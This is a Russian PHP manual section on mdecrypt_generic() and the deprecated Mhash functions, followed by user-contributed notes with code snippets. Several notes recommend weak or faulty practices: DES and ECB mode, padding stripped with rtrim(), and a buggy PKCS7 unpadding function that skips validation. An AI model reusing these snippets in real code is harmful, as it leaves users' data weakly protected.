Примеры

Пример #1 Пример использования mdecrypt_generic()

<?php
/* Данные */
$key = 'Это очень длинный ключ. Сильно больше, чем нужен шифру.';
$plain_text = 'очень важные данные';

/* Открываем модуль и создаём инициализирующий вектор */
$td = mcrypt_module_open('des', '', 'ecb', '');
$key = substr($key, 0, mcrypt_enc_get_key_size($td));
$iv_size = mcrypt_enc_get_iv_size($td);
$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);

/* Инициализируем обработчик шифрования */
if (mcrypt_generic_init($td, $key, $iv) != -1) {

/* Шифруем данные */
$c_t = mcrypt_generic($td, $plain_text);
mcrypt_generic_deinit($td);

/* Переинициализируем буферы для дешифровки */
mcrypt_generic_init($td, $key, $iv);
$p_t = mdecrypt_generic($td, $c_t);

/* Убираем мусор */
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
}

if (strncmp($p_t, $plain_text, strlen($plain_text)) == 0) {
echo "ок\n";
} else {
echo "ошибка\n";
}
?>

Пример выше показывает, как проверить, что данные до шифрования совпадают с данными после дешифрования. Крайне важно переинициализировать буферы шифрования с помощью mcrypt_generic_init() перед дешифровкой данных.

Обработчик дешифрования всегда должен инициализироваться с помощью mcrypt_generic_init() с ключом и инициализирующим вектором перед вызовом функции. Как только шифрование завершено, необходимо освободить буферы шифрования путём вызова функции mcrypt_generic_deinit(). Смотрите пример в описании функции mcrypt_module_open().

Смотрите также

  • mcrypt_generic() - Функция шифрует данные
  • mcrypt_generic_init() - Функция инициализирует все буферы, необходимые для шифрования
  • mcrypt_generic_deinit() - Эта функция деинициализирует модуль шифрования

User Contributed Notes

Ulysse 07-Nov-2013 02:27
Based on the information provided by "jakub dot lopuszanski at nasza-klasa dot pl" that in PKCS#7, the last byte contains the number of byte to remove (see RFC 5652, part 6.3), and for those like me who like to copy paste an already-made snippet:

<?php
function unpadPKCS7($data, $blocksize)
{
    $last = substr($data, -1);
    return substr($data, 0, strlen($data) - ord($last));
}
?>

Now you have no more reason to use rtrim() to remove the padding at the end of the result.
jakub dot lopuszanski at nasza-klasa dot pl 25-Jun-2013 07:16
For all those of you which are "surprised" by the padding (even though it is mentioned in the description of the method) please do not just "strip away everything which I do not understand".
The approach with rtrim, rtrim "\0", removing all charcodes < 16, etc. are all wrong.
The PKCS #7 padding works just as described in  RFC 5652.
To remove it, just look at the last byte of the message, and it will tell you how many bytes to remove.
For example, if the last byte is equal to \0A, then remove 10 bytes.
Peter Bailey 19-Mar-2012 05:49
We found that sometimes the resulting padding is not null characters "\0" but rather one of several control characters.

If you know your data is not supposed to have any trailing control characters "as we did" you can strip them like so.

<?php

$data = mdecrypt_generic( $cipher, $data );

// Strip trailing control-character padding
$data = preg_replace( "/\p{Cc}*$/u", "", $data );

?>
trashmail dot hashishin at gmail dot com 01-Jun-2010 12:46
Whenever you need to decrypt files encrypted with dot.net (and others?) you can use the following settings:

Encryption: 'rijndael-256'
Mode: 'cbc'
Padding-Mode: Zeros
iv: "yes"

encode the data with base64 to send them to your php script
Anonymous 21-Mar-2009 07:31
Here's a quick snippet for removing PKCS7 padding:

<?php
function unpadPKCS7($data, $blockSize) {
    $length = strlen ( $data );
    if ($length > 0) {
        $first = substr ( $data, - 1 );

        if (ord ( $first ) <= $blockSize) {
            for($i = $length - 2; $i > 0; $i --)
                if (ord ( $data [$i] != $first ))
                    break;

            return substr ( $data, 0, $i );
        }
    }
    return $data;
}
?>
nytro_rst at yahoo dot com 09-Feb-2009 03:33
<?php
// Parameters:
// $text = The text that you want to encrypt.
// $key = The key you're using to encrypt.
// $alg = The algorithm.
// $crypt = 1 if you want to crypt, or 0 if you want to decrypt.

function cryptare($text, $key, $alg, $crypt)
{
    $encrypted_data="";
    switch($alg)
    {
        case "3des":
            $td = mcrypt_module_open('tripledes', '', 'ecb', '');
            break;
        case "cast-128":
            $td = mcrypt_module_open('cast-128', '', 'ecb', '');
            break;
        case "gost":
            $td = mcrypt_module_open('gost', '', 'ecb', '');
            break;
        case "rijndael-128":
            $td = mcrypt_module_open('rijndael-128', '', 'ecb', '');
            break;
        case "twofish":
            $td = mcrypt_module_open('twofish', '', 'ecb', '');
            break;
        case "arcfour":
            $td = mcrypt_module_open('arcfour', '', 'ecb', '');
            break;
        case "cast-256":
            $td = mcrypt_module_open('cast-256', '', 'ecb', '');
            break;
        case "loki97":
            $td = mcrypt_module_open('loki97', '', 'ecb', '');
            break;
        case "rijndael-192":
            $td = mcrypt_module_open('rijndael-192', '', 'ecb', '');
            break;
        case "saferplus":
            $td = mcrypt_module_open('saferplus', '', 'ecb', '');
            break;
        case "wake":
            $td = mcrypt_module_open('wake', '', 'ecb', '');
            break;
        case "blowfish-compat":
            $td = mcrypt_module_open('blowfish-compat', '', 'ecb', '');
            break;
        case "des":
            $td = mcrypt_module_open('des', '', 'ecb', '');
            break;
        case "rijndael-256":
            $td = mcrypt_module_open('rijndael-256', '', 'ecb', '');
            break;
        case "xtea":
            $td = mcrypt_module_open('xtea', '', 'ecb', '');
            break;
        case "enigma":
            $td = mcrypt_module_open('enigma', '', 'ecb', '');
            break;
        case "rc2":
            $td = mcrypt_module_open('rc2', '', 'ecb', '');
            break;
        default:
            $td = mcrypt_module_open('blowfish', '', 'ecb', '');
            break;
    }

    $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
    $key = substr($key, 0, mcrypt_enc_get_key_size($td));
    mcrypt_generic_init($td, $key, $iv);

    if($crypt)
    {
        $encrypted_data = mcrypt_generic($td, $text);
    }
    else
    {
        $encrypted_data = mdecrypt_generic($td, $text);
    }

    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);

    return $encrypted_data;
}
?>
Silvan 17-Aug-2007 12:34
It is generally not recommended to just use rtrim to remove the padding.

Use rtrim($str, "\0") for strings that do not end in "\0" or store the data length during encryption.
(Although data containing "\0" sometimes gets corrupted during encryption so these types of data actually should be packed.)

For example:

<?php

function encrypt($original_data)
{
    $length = strlen($original_data);
    $data_to_encrypt = $length.'|'.$original_data;
    // Encrypt the data including its length.
    // Do not save the length unencrypted, as this could be a (minor) security risk
}

function decrypt($cypher)
{
    // Decrypt the cypher data first
    // Next retrieve the original data
    list($length, $padded_data) = explode('|', $decrypted_data, 2);
    $original_data = substr($padded_data, 0, $length);
}

?>
php at pcwize dot com 12-Oct-2006 02:59
Just confirming the .DLL issues. With 4.3.4 you need the older .DLL. I'm guessing any version of PHP4 needs the older .DLL. With PHP5 you need the newer one.
drew at expressdynamics dot com 05-Jul-2005 10:07
On Win32 systems with PHP 5, you must use the newer libmcrypt.dll file, otherwise mdecrypt_generic will not work.
robbie [at] averill [dot] co [dot] nz 24-Mar-2005 03:15
I have noticed that sometimes when the binary ciphertext is longer than the plaintext, the decrypted plaintext can have some little boxes/squares next to it as 'padding'. I also noticed that you can't cut and paste them to be able to edit them out, but i did find a solution.

Just call rtrim() around the string and it removes them.
jon@jonroig dot com 07-Apr-2004 07:29
Here's a bit of encrypt/decrypt code.

If you're using this on the win32 platform, BEWARE! The latest DLL (19-Jan-2004) contains a bug that keeps mdecrypt_generic from functioning. Nearly drove me over the edge... The 30-Dec-2002 version seems to work with no trouble.
<?

$key = "this is a secret key";
$input = "Let us meet at 9 o'clock at the secret place.";

$td = mcrypt_module_open('tripledes', '', 'ecb', '');
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
mcrypt_generic_init($td, $key, $iv);
$encrypted_data = mcrypt_generic($td, $input);
mcrypt_generic_deinit($td);
mcrypt_module_close($td);

echo "Encrypt: ".$encrypted_data;

echo "<br><br>";

$td = mcrypt_module_open('tripledes', '', 'ecb', '');
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
$key = substr($key, 0, mcrypt_enc_get_key_size($td));
mcrypt_generic_init($td, $key, $iv);
$decrypted_data = mdecrypt_generic($td, $encrypted_data);
echo "Decrypt: ".$decrypted_data;
mcrypt_generic_deinit($td);
mcrypt_module_close($td);

?>


Mhash

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
  • Функции Mhash
    • mhash_count — Получить наибольший доступный идентификатор хеша
    • mhash_get_block_size — Получить размер блока для заданного хеша
    • mhash_get_hash_name — Получить имя указанного хеша
    • mhash_keygen_s2k — Генерация ключа
    • mhash — Вычисляет хеш

User Contributed Notes

virgili dot garcia at gmail dot com 12-Apr-2016 03:11
You can use:

$s = 'foo';
echo pack('H*', hash('md4', $s));
Typo 10-Jun-2011 04:44
Note:

This extension is obsoleted by Hash.

I thought I would post this here as it took me a few minutes to find out.


Введение

Эти функции предназначены для работы с » mhash. Mhash может использоваться для подсчёта контрольных сумм, хеш-сумм, кодов идентификации сообщений и так далее.

Это интерфейс для библиотеки mhash. Mhash поддерживает большое количество алгоритмов шифрования, таких как MD5, SHA1, GOST и многих других. Для полного списка поддерживаемых алгоритмов шифрования перейдите на страницу с константами. Для получения доступа к определённому алгоритму из PHP нужно использовать MHASH_hashname. Например, чтобы получить доступ к TIGER необходимо использовать константу MHASH_TIGER.

Замечание:

Данный модуль устарел, в качестве замены используйте Hash.

Замечание:

Начиная с PHP 7.0.0, модуль Mhash полностью интегрирован в модуль Hash. Таким образом, теперь нельзя определить доступность поддержки Mhash с помощью функции extension_loaded(); вместо неё используйте function_exists(). Кроме того, Mhash больше не будет выводиться с помощью get_loaded_extensions() и подобных функций.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Скачайте дистрибутив mhash с » этого сайта и следуйте инструкциям.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Необходимо скомпилировать PHP с опцией --with-mhash[=DIR]. Можно принудительно указать директорию с mhash.

Начиная с PHP 5.3.0, модуль mhash эмулируется через модуль Hash. Поэтому указание директории установки mhash не будет иметь никакого эффекта, и требуется включённый модуль хеширования для того, чтобы сделать поддержку mhash доступной.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

Здесь представлен список поддерживаемых mhash хешей. Если хеш отсутствует в этом списке, но есть в документации по mhash, то вы можете смело считать, что он есть.

  • MHASH_ADLER32
  • MHASH_CRC32
  • MHASH_CRC32B
  • MHASH_GOST
  • MHASH_HAVAL128
  • MHASH_HAVAL160
  • MHASH_HAVAL192
  • MHASH_HAVAL224
  • MHASH_HAVAL256
  • MHASH_MD2
  • MHASH_MD4
  • MHASH_MD5
  • MHASH_RIPEMD128
  • MHASH_RIPEMD256
  • MHASH_RIPEMD320
  • MHASH_SHA1
  • MHASH_SHA192
  • MHASH_SHA224
  • MHASH_SHA256
  • MHASH_SHA384
  • MHASH_SHA512
  • MHASH_SNEFRU128
  • MHASH_SNEFRU256
  • MHASH_TIGER
  • MHASH_TIGER128
  • MHASH_TIGER160
  • MHASH_WHIRLPOOL

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Пример #1 Вычисление MD5 и HMAC и печать их в шестнадцатеричном виде

<?php
$input = "what do ya want for nothing?";
$hash = mhash(MHASH_MD5, $input);
echo "Хеш MD5 - " . bin2hex($hash) . "<br />\n";
$hash = mhash(MHASH_MD5, $input, "Jefe");
echo "Хеш HMAC - " . bin2hex($hash) . "<br />\n";
?>

Результат выполнения данного примера:

Хеш MD5 - d03cb659cbf9192dcd066272249f8412
Хеш HMAC - 750c783e6ab0b503eaa86e310a5db738

User Contributed Notes

There are no user contributed notes for this page.


Функции Mhash

Содержание

  • mhash_count — Получить наибольший доступный идентификатор хеша
  • mhash_get_block_size — Получить размер блока для заданного хеша
  • mhash_get_hash_name — Получить имя указанного хеша
  • mhash_keygen_s2k — Генерация ключа
  • mhash — Вычисляет хеш

User Contributed Notes

alexey dot kupershtokh at gmail dot com 27-Dec-2007 04:48
There's a class for generating TTH compatible with DC clients (DC++, StrongDC, ...) which uses mhash() with tiger algorithm:
http://kupershtokh.blogspot.com/2007/12/on-phpclub.html
ludicruz at yahoo dot com 07-Jul-2007 01:41
to robert at mediamonks dot com

This will work better, in your function you can just use the constant function to pull in the actual value of MHASH_SHA512 or whatever.

function getHashNotWorking($argStrHashMethod, $argStrString)
{
$strHashMethod = 'MHASH_' . $argStrHashMethod;
$strHashedString = bin2hex(mhash(constant($strHashMethod), $argStrString));

return $strHashedString;
}

now:

echo getHashNotWorking('SHA512', 'some string');

works how you want it.
robert at mediamonks dot com 06-Dec-2006 12:44
function getHashNotWorking($argStrHashMethod, $argStrString)
{
$strHashMethod = 'MHASH_' . $argStrHashMethod;
$strHashedString = bin2hex(mhash($strHashMethod, $argStrString));

return $strHashedString;
}

echo getHashNotWorking('SHA512', 'some string');

This will return an error about the mhash function expecting a long type instead of a string.

=============================

for ($intI = 0; $intI <= mhash_count(); $intI++)
{
$arrHashTypes[mhash_get_hash_name($intI)] = $intI;
}

function getHashWorking($argStrType, $argStrString)
{
global $arrHashTypes;
$strHashedString = bin2hex(mhash($arrHashTypes[$argStrType], $argStrString));

return $strHashedString;
}

echo getHashWorking('SHA512', 'some string');

This will return the hash with the desired hash method
m1tk4 at hotmail dot com 21-Jun-2004 10:43
To enable mhash on RHEL/Fedora Core/other RPM-based Linuxes without rebuilding PHP, get the php-mhash and mhash RPMs at http://phprpms.sourceforge.net/mhash


Получить наибольший доступный идентификатор хеша

  • « Функции Mhash
  • mhash_get_block_size »
  • PHP Manual
  • Функции Mhash
  • Получить наибольший доступный идентификатор хеша

mhash_count

(PHP 4, PHP 5, PHP 7, PHP 8)

mhash_count — Получить наибольший доступный идентификатор хеша

Внимание

Функция объявлена УСТАРЕВШЕЙ, начиная с PHP 8.1.0. Использовать эту функцию крайне не рекомендуется.

Описание

mhash_count(): int

Возвращает наибольший доступный идентификатор хеша.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Получить наибольший доступный идентификатор хеша. Хеши нумеруются от 0 до этого идентификатора.

Список изменений

Версия | Описание
8.1.0 | Функция объявлена устаревшей. Используйте вместо неё функции hash_*().

Примеры

Пример #1 Обход всех хешей

<?php

$nr = mhash_count();

for ($i = 0; $i <= $nr; $i++) {
echo sprintf("Размер блока хеша %s - %d\n",
mhash_get_hash_name($i),
mhash_get_block_size($i));
}
?>

User Contributed Notes

holdoffhunger at gmail dot com 29-Jun-2012 12:36
The MHash function mhash_count() returns the highest, evaluated, constant value representing a hashing algorithm available within the current MHash install.  For example, 0 indicates CRC32, 1 indicates MD5, 2 indicates SHA1, etc., etc..  You can get the evaluated number for any of these algorithms by doing a print statement with any of the predefined, MHash constants, such as those available here : http://www.php.net/manual/en/mhash.constants.php .

The purpose of mhash_count() in MHash is similar to the purpose of hash_algos() in HASH Message Digest Framework.  Instead of providing an array of available hashing algorithms, it simply provides the highest, evaluated, constant expression for the Algorithm Constants.  The thinking, as indicated in the sample code, is that you will parse a list of mhash algorithms in a for loop using a condition of "$i <= mhash_count()".

However, there is a problem with that: there are several integers that are skipped in the listing of evaluated constant expressions.  While 2 indicates SHA1, 3 indicates HAVAL256, etc., there is nothing for the numbers 4 and 6.  They produce blank results when on that line of the for-loop and you're calling functions like mhash_get_block_size() and mhash_get_hash_name().  These were likely reserved for algorithms that were removed for one reason or another, either inefficiency or lack of security, and the number-to-predefined-constant setup wasn't changed to make it backward compatible with older code.

If you want to know what counts as a good constant and what doesn't, try running this code :

<?php

            // Author: holdoffhunger@gmail.com

        // Parse All Hashing Algorithms
        // ---------------------------------------------------

    for($i = 0; $i <= mhash_count(); $i++)
    {
            // Get Algorithm Information
            // ---------------------------------------------------

        $mhash_algorithm_block_size = mhash_get_block_size($i);
        $mhash_algorithm_name = mhash_get_hash_name($i);

            // Decide on Printing Algorithm Information
            // ---------------------------------------------------

        if(strlen($mhash_algorithm_name) < 1)
        {
                // There *IS* Available Algorithm Data
                // ---------------------------------------------------

            print("# $i --- NO ALGORITHM NAME / NO ALGORITHM BLOCKSIZE .<br><br>");
        }
        else
        {
                // There *IS NO* Available Algorithm Data
                // ---------------------------------------------------

            print("# $i --- $mhash_algorithm_name to $mhash_algorithm_block_size .<br><br>");
        }
    }

?>

    Sample Results
    ............................

# 0 --- CRC32 to 4 .

# 1 --- MD5 to 16 .

# 2 --- SHA1 to 20 .

# 3 --- HAVAL256 to 32 .

# 4 --- NO ALGORITHM NAME / NO ALGORITHM BLOCKSIZE .

# 5 --- RIPEMD160 to 20 .

# 6 --- NO ALGORITHM NAME / NO ALGORITHM BLOCKSIZE .

# 7 --- TIGER to 24 .

# 8 --- GOST to 32 .

...(and so on)...


Получить размер блока для заданного хеша

  • « mhash_count
  • mhash_get_hash_name »
  • PHP Manual
  • Функции Mhash
  • Получить размер блока для заданного хеша

mhash_get_block_size

(PHP 4, PHP 5, PHP 7, PHP 8)

mhash_get_block_size — Получить размер блока для заданного хеша

Внимание

Функция объявлена УСТАРЕВШЕЙ, начиная с PHP 8.1.0. Использовать эту функцию крайне не рекомендуется.

Описание

mhash_get_block_size(int $algo): int|false

Возвращает размер блока для заданного algo.

Список параметров

algo

Идентификатор хеша. Одна из констант MHASH_hashname.

Возвращаемые значения

Возвращает размер в байтах или false, если параметр algo задан некорректно.

Список изменений

Версия | Описание
8.1.0 | Функция объявлена устаревшей. Используйте вместо неё функции hash_*().

Примеры

Пример #1 Пример использования mhash_get_block_size()

<?php

echo mhash_get_block_size(MHASH_MD5); // 16

?>

User Contributed Notes

There are no user contributed notes for this page.


Получить имя указанного хеша

  • « mhash_get_block_size
  • mhash_keygen_s2k »
  • PHP Manual
  • Функции Mhash
  • Получить имя указанного хеша

mhash_get_hash_name

(PHP 4, PHP 5, PHP 7, PHP 8)

mhash_get_hash_name — Получить имя указанного хеша

Внимание

Функция объявлена УСТАРЕВШЕЙ, начиная с PHP 8.1.0. Использовать эту функцию крайне не рекомендуется.

Описание

mhash_get_hash_name(int $algo): string|false

Возвращает имя заданного algo.

Список параметров

algo

Идентификатор хеша. Одна из констант MHASH_hashname.

Возвращаемые значения

Возвращает строку с названием или false, если такого хеша нет.

Список изменений

Версия | Описание
8.1.0 | Функция объявлена устаревшей. Используйте вместо неё функции hash_*().

Примеры

Пример #1 Пример использования mhash_get_hash_name()

<?php

echo mhash_get_hash_name(MHASH_MD5); // MD5

?>

User Contributed Notes

There are no user contributed notes for this page.


Генерация ключа

  • « mhash_get_hash_name
  • mhash »
  • PHP Manual
  • Функции Mhash
  • Генерация ключа

mhash_keygen_s2k

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

mhash_keygen_s2k — Генерация ключа

Внимание

Функция объявлена УСТАРЕВШЕЙ, начиная с PHP 8.1.0. Использовать эту функцию крайне не рекомендуется.

Описание

mhash_keygen_s2k(
int $algo,
string $password,
string $salt,
int $length
): string|false

Генерирует ключ в соответствии с заданным algo и указанным паролем password.

Используется алгоритм S2K с солью, как описано в документе OpenPGP (» RFC 2440).

Помните, что пользовательские пароли не являются подходящими ключами для криптографических алгоритмов, так как обычно они как минимум набираемы на клавиатуре. Такие пароли используют только 6-7 бит (или меньше) на символ. Так что такие пароли крайне рекомендуется предварительно преобразовывать (например этой функцией).

Список параметров

algo

Идентификатор хеша. Одна из констант MHASH_hashname.

password

Пользовательский пароль.

salt

Должна быть разной и достаточно случайной для каждого создаваемого ключа. Так как salt должна быть известна при проверке ключа, то хорошей идеей будет добавить её к ключу. Соль имеет фиксированный размер в 8 байт и будет дополнена нулями, если заданный параметр будет короче.

length

Длина ключа в байтах.

Возвращаемые значения

Возвращает строку с ключом или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Функция объявлена устаревшей. Используйте вместо неё функции hash_*().

User Contributed Notes

alix dot axel+php at gmail dot com 09-Oct-2012 08:43
I looked into mhash and PHP source code and I've ported this function to pure PHP:

<?php

function keygen_s2k($hash, $password, $salt, $bytes)
{
    $result = false;

    if (extension_loaded('hash') === true)
    {
        $times = $bytes / ($block = strlen(hash($hash, null, true)));

        if ($bytes % $block != 0)
        {
            ++$times;
        }

        for ($i = 0; $i < $times; ++$i)
        {
            $result .= hash($hash, str_repeat("\0", $i) . $salt . $password, true);
        }
    }

    return $result;
}

?>
gmic 13-Mar-2007 11:42
Correction to ray ferguson post,

As said in the doc : "mhash_keygen_s2k generates a key that is bytes long, from a user given password and use the specified hash algorithm to create the key." if It wasn't clear to anyone.

The non mhash function is good as long you do not need a key longer than native MD5 hash (16 bytes)  it wont give you more.

So the non mhash function work OK but they ARE NOT the same thing.

Just try ray ferguson exemple asking for a 32 bytes key.

Returning a substring longer than the packed 16 bytes string won't add anything to the string. Salted S2K algorithm does add to the key.  So better use mhash lib or create something more alike the RFC 2440 specs.

I know the post is late on regard to Ray's post but if it can help someone not waisting time like me.
php_at_share-foo.com 16-Jul-2003 11:18
// given random 8 bits of salt and a clear text password

$clear_pw = "p4ssw0rd" ;
$rand8bites4salt = substr(pack("h*", md5(mt_rand())) , 0, 8);

// This

mhash_keygen_s2k(MHASH_MD5, $clear_pw, $rand8bites4salt, 4) ;

//is the same as this

function myhash_keyge_s2k($pass, $salt, $bytes ){
      return substr(pack("H*", md5($salt . $pass)), 0, $bytes);
}

myhash_keyge_s2k($clear_pw, $rand8bites4salt, 4);

// But the latter doesn't require mhash libs.

// -ray ferguson


Вычисляет хеш

  • « mhash_keygen_s2k
  • OpenSSL »
  • PHP Manual
  • Функции Mhash
  • Вычисляет хеш

mhash

(PHP 4, PHP 5, PHP 7, PHP 8)

mhash — Вычисляет хеш

Внимание

Функция объявлена УСТАРЕВШЕЙ, начиная с PHP 8.1.0. Использовать эту функцию крайне не рекомендуется.

Описание

mhash(int $algo, string $data, ?string $key = null): string|false

mhash() принимает хеш-функцию, заданную algo для data.

Список параметров

algo

Идентификатор хеша. Одна из констант MHASH_hashname.

data

Строка с пользовательскими данными.

key

Если задано, то функция вернёт результирующий HMAC. HMAC - это код аутентификации сообщений, использующий хеш-функции, который зависит от указанного ключа. Не все алгоритмы, поддерживаемые mhash, могут использоваться в режиме HMAC.

Возвращаемые значения

Возвращает строку с результирующим хешем (также называемый дайджестом) или HMAC, или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Функция объявлена устаревшей. Используйте вместо неё функции hash_*().
8.0.0 | key теперь допускает значение null.

User Contributed Notes

jeremy s 18-Jun-2014 04:39
Here is how to compute a NTLM hash:

<?php
function ntlm_hash($txt)
{
        $txt = iconv('UTF-8', 'UTF-16LE', $txt);
        $md4 = bin2hex(mhash(MHASH_MD4, $txt));

        return strtoupper($md4);
}

echo ntlm_hash('ClearTextPasswd');
echo "\n";
holdoffhunger at gmail dot com 29-Jun-2012 11:52
The MHash function here lists one disclaimer at the top when providing a key to the mhash function : "Not all algorithms supported in mhash can be used in HMAC mode."  So, what algorithms blow up and what do fine when it comes to doing keyed, HMAC hashing?  The destructive ones are: Adler32, CRC32, CRC32B, and GOST.  These are the first four, predefined constants listed with the MHash Application Package: http://www.php.net/manual/en/mhash.constants.php .  Providing one of these algorithms with an HMAC key (of string-length greater than one) creates the following error message: "Warning: mhash() [function.mhash]: mhash initialization failed in [(folder-location)] on line 181".  If you really want to use these algorithms in creating your HMAC hashes, the function Hash_hmac() from the HASH-Message Digest Framework package is capable of doing that perfectly.

Again, that is if the string length is greater than one.  Why string length greater than one?  Well, if the key value is blank, it is ignored as a parameter altogether.  So, if you feed the mhash function an algorithm that is not compatible with HMAC hashing and an HMAC key that's blank (""), it will work the same as if it had received no HMAC key at all.  This is different from the way the Hash_hmac() function of the HASH-MDF works.  In the case of the Hash_hmac() function, feeding a blank HMAC key will use that blank key in generating the HMAC hash.  Even with functions that can do HMAC hashing, like MD5 or SHA1, if the MHash() is given a blank HMAC key, it will ignore the key and just return the results of standard, non-HMAC hashing.  It's probably not wise to use a blank HMAC key anyway, but it's good to know that the hashing algorithm changes altogether if the provided HMAC key is blank.

Some sample code to demonstrate :

<?php

            // Author: holdoffhunger@gmail.com

        // Preset Data
        // ---------------------------------------------------

    $string_to_hash = "The hash_hmac() function better to use for these purposes.";
    $blank_hmac_key = "";

        // MHash - Hashing With and Without HMAC Parameter
        // ---------------------------------------------------

    $mhash_result_with_hmac_parameter = bin2hex(mhash(MHASH_CRC32, $string_to_hash, $blank_hmac_key));
    $mhash_result_without_hmac_parameter = bin2hex(mhash(MHASH_CRC32, $string_to_hash));

        // MHash - Hashing With and Without HMAC Parameter
        // ---------------------------------------------------

    $hash_result_with_hmac_parameter = hash_hmac("crc32", $string_to_hash, $blank_hmac_key);
    $hash_result_without_hmac_parameter = hash("crc32", $string_to_hash);

        // Print Results
        // ---------------------------------------------------

    print("MHASH (CRC32 Algorithm) With Blank HMAC Key: $mhash_result_with_hmac_parameter .<br>");
    print("MHASH (CRC32 Algorithm) Without HMAC Processing: $mhash_result_without_hmac_parameter .<br><br>");

    print("HASH (CRC32 Algorithm) With Blank HMAC Key: $hash_result_with_hmac_parameter .<br>");
    print("HASH (CRC32 Algorithm) Without HMAC Processing: $hash_result_without_hmac_parameter .");

?>

    Results :
    ...................................

MHASH (CRC32 Algorithm) With Blank HMAC Key: f665c094 .
MHASH (CRC32 Algorithm) Without HMAC Processing: f665c094 .

HASH (CRC32 Algorithm) With Blank HMAC Key: 3041f4f8 .
HASH (CRC32 Algorithm) Without HMAC Processing: f665c094 .
holdoffhunger at gmail dot com 27-Jun-2012 07:27
Both cryptography packages, the MHash and the HASH Message Digest Framework, have the same algorithms, and yet, they both sometimes to produce wildly different results from each other when applying the same algorithm to the same piece of data.  The SHA-x algorithms, as designed by the NSA, all seem to have concrete standards for producing their hash values, so they have similar results.  Even the two MD5 implementations produce identical results, and the same goes for Gost, RipeMD, CRC32, Whirlpool, Snefru256 (known as 'Snefru256' in MHash and simply 'Snefru' in HASH-MDF), and Tiger (the three-round versions in HASH-MDF to simply 'Tigerx' in MHash).

However, the algorithms CRC32B and Adler32 each produce different results when called from either MHash or HASH-MDF, possibly because they are hashing algorithms designed to be checksums rather than something that can produce a string as a unique identifier for a particular piece of information.  For that reason, if you ever publish the hash results with the data you're putting out publicly, it's probably wise to indicate whether it's the MHash or HASH-MDF implementation of the algorithm.  Otherwise, the hash value won't provide much use as a unique identifier for the particular piece of data or for the file.

Some example code to better explain what I mean :

<?php

            // Author: holdoffhunger@gmail.com

        // SHA-1 Hashing
        // ---------------------------------------------------

    $mhash_sha1_results = bin2hex(mhash(MHASH_SHA1, "secret"));
    $hash_mdf_sha1_results = hash("sha1", "secret", FALSE);

    print("MHash SHA-1: $mhash_sha1_results .<br>");
    print("HASH-MDF SHA-1: $hash_mdf_sha1_results .<br><br>");

        // Whirlpool Hashing
        // ---------------------------------------------------

    $mhash_whirlpool_results = bin2hex(mhash(MHASH_WHIRLPOOL, "secret"));
    $hash_mdf_whirlpool_results = hash("whirlpool", "secret", FALSE);

    print("MHash Whirlpool: $mhash_whirlpool_results .<br>");
    print("HASH-MDF Whirlpool: $hash_mdf_whirlpool_results .<br><br>");

        // CRC32B Hashing
        // ---------------------------------------------------

    $mhash_crc32b_results = bin2hex(mhash(MHASH_CRC32B, "secret"));
    $hash_mdf_crc32b_results = hash("crc32b", "secret", FALSE);

    print("MHash CRC32B: $mhash_crc32b_results .<br>");
    print("HASH-MDF CRC32B: $hash_mdf_crc32b_results .<br><br>");

        // Adler32 Hashing
        // ---------------------------------------------------

    $mhash_adler32_results = bin2hex(mhash(MHASH_ADLER32, "secret"));
    $hash_mdf_adler32_results = hash("adler32", "secret", FALSE);

    print("MHash Adler32: $mhash_adler32_results .<br>");
    print("HASH-MDF Adler32: $hash_mdf_adler32_results .<br><br>");

?>

    Expected Results :
    ........................

MHash SHA-1: e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4 .
HASH-MDF SHA-1: e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4 .

MHash Whirlpool: e061b87a674ae3880e159ab55ed35d
6c5e8a6aefac6ab08304a50588018d
377b28639bb15fdeedf006d57e45f7
b4298e6dfefceaf7c92c826a708fe6d
1156eb3 .

HASH-MDF Whirlpool: e061b87a674ae3880e159ab55ed35d
6c5e8a6aefac6ab08304a50588018d
377b28639bb15fdeedf006d57e45f7
b4298e6dfefceaf7c92c826a708fe6d
1156eb3 .

MHash CRC32B: e5e8a25c .
HASH-MDF CRC32B: 5ca2e8e5 .

MHash Adler32: 8702d108 .
HASH-MDF Adler32: 08d10287 .
hm2k at php dot net 20-Jan-2009 07:16
mhash support now appears in the Pear PHP_Compat package, for support without building PHP with mhash.
numien(at)deathwyrm(dot)com 31-Jan-2007 05:21
---Quote---
pack("H*", md5($str)) == mhash(MHASH_MD5, $str)
pack("H*", sha1($str)) == mhash(MHASH_SHA1, $str)
---/Quote---

That's an awfully inefficient way of doing things. You can just put ", true" after md5 or sha1 to get binary output instead of having it convert it to hex then back.

Easier way:
md5($str, true) == mhash(MHASH_MD5, $str)
sha1($str, true) == mhash(MHASH_SHA1, $str)
marcel446 at yahoo dot com 06-Jun-2005 04:15
Just in case you did not observe, the function of Lance is independent of hash fuction used to get HMAC , so if one use sha1() function from php instead md5() will get sha1 HMAC.
Just try .
Thanks again Lance
robbie [at] averill [dot] co [dot] nz 18-Mar-2005 05:17
This confused me a bit when I first read the documetation for mhash. The functions that accept a hash accept them as an INTEGER not a STRING. In this case, MHASH_MD5 = 1. It is a constant, not a string.

Just thought I'd point that out, so if anyone is confused they can read that. That's the use of mhash_get_hash_name(). You input the constant (which is an integer) and it returns the hash name.
fernan at ispwest dot com 02-Nov-2004 12:03
Thanks a lot to Lance for showing how to create mhash without installing the perl extension for mhash.

I have been asking my webhosting administrator to recompile Perl with mhash extension, but do not want to do it. As a result, our company can't get credit card authorization because they require fingerprint which uses the function mhash. Now, it's working fine.
